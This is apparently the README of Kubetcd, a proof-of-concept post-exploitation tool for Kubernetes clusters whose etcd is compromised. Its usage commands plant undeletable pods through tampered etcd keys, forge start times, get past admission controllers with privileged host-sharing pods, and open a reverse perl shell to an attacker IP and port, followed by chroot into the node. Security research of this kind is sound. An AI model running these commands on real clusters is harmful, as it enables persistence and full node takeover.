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Kubetcd

Wrapper of https://github.com/jpbetz/auger.

It automates pod deployment by writing directly into etcd. It includes multiple functions for post-exploitation of compromised etcds.

Disclaimer

Warning

This is a PoC, do not use it in a production environment. Writing directly to etcd may result in inconsistencies or corrupted data, which may cause the kube-apiserver logic to fail to retrieve or manipulate data from etcd. Test environments with multiple nodes can be deployed with KIND

Why?

The main repo, auger, provides the main features for serialising and deserialising protobuffered entries in etcd. Kubetcd is a PoC that wraps these features to approximate etcdctl to the regular kubectl client. In a scenario with a compromised etcd, kubetcd would attempt to use manipulated and privileged pods to gain persistence and privileged access to any/all host(s) in the cluster. Note that kubetcd currently only supports pod operation.

Requirements

Kubetcd takes the certificates and keys to authenticate against etcd service from the following default paths:

  • /etc/kubernetes/pki/etcd/ca.crt
  • /etc/kubernetes/pki/etcd/server.crt
  • /etc/kubernetes/pki/etcd/server.key (this is only readable by root)

Also, the default endpoint is set as 127.0.0.1:2379

All previous default values could be changed through parameters.

Also, etcdctl, the client for etcd, must be installed.

sudo apt install etcd-client

Installation

Check out and build:

git clone https://github.com/nccgroup/kubetcd
cd kubetcd
go build -buildvcs=false .

Known issues

You may experience the following error:

./kubetcd: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.32' not found (required by ./kubetcd)
./kubetcd: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by ./kubetcd)

If so, build kubetcd with Golang 1.19.

Refer to https://github.com/jpbetz/auger for the main auger features, which still remain. This README will only detail the added new features of the wrapper:

Running kubetcd

./kubetcd -h

Get objects

./kubetcd get pods
#or
./kubetcd get pod <name> -n <namespace>

Create a new pod

templateName should be a running pod in the default namespace:

./kubetcd create pod <name> -t <templateName>

You can overwrite a running pod just by setting the same name and templateName values.

Change the image

./kubetcd create pod <name> -t <templateName> --image <image>

Tamper start time

./kubetcd create pod <name> -t <templateName> --time "2000-01-31T00:00:00Z"

Persistence through inconsistent data

ETCD save new pods in /registry/pods/<namespace>/<name> but namespace and name fields could be tampered. Having so, this pods can be listed using kubectl but not deleted.

./kubetcd create pod <name> -t <templateName> -p <randomentry>             
#Will add an entry in /registry/pods/default/<randomentry>
#Or tamperede namespace
./kubetcd create pod <name> -t <templateName> -n <namespace> --fake-ns
#Will add an entry in /registry/pods/<namespace>/<randomentry> but it will run in default namespace

Deploy in a concrete node

Deploy workload in any node at will:

./kubetcd get nodes
./kubetcd create pod <name> -t <templatename> --node <nodeName>

Bypass AdmissionControllers

Deploy privileged pods in restricted namespaces. This would bypass built-in AdmissionControllers like PSPs, PSAs or any other policies based on custom policies like OPA Gatekeer or Kyverno:

./kubetcd create pod <name> -t <nameTemplate> -n <restrictedNamespace> -P

-P flag will set any pod as privileged and will share network, PID and IPC namespaces with the underlying node.

Reverse shell

Deploy privileged pods in restricted namespaces and get a remote shell:

./kubetcd create pod <name> -t <nameTemplate> -n <restrictedNamespace> -P -r <IP>:<PORT>

This will start a reverse perl shell, which is present in several images by default. Once you have the reverse shell, change the root filesystem with chroot /host to get full access to the node.

TODO

  • Add support for other binaries -not only perl- to obtain remote shell
  • Add support to use templates from other namespaces than default
  • Add support to create/get/delete elements out of corev1 branch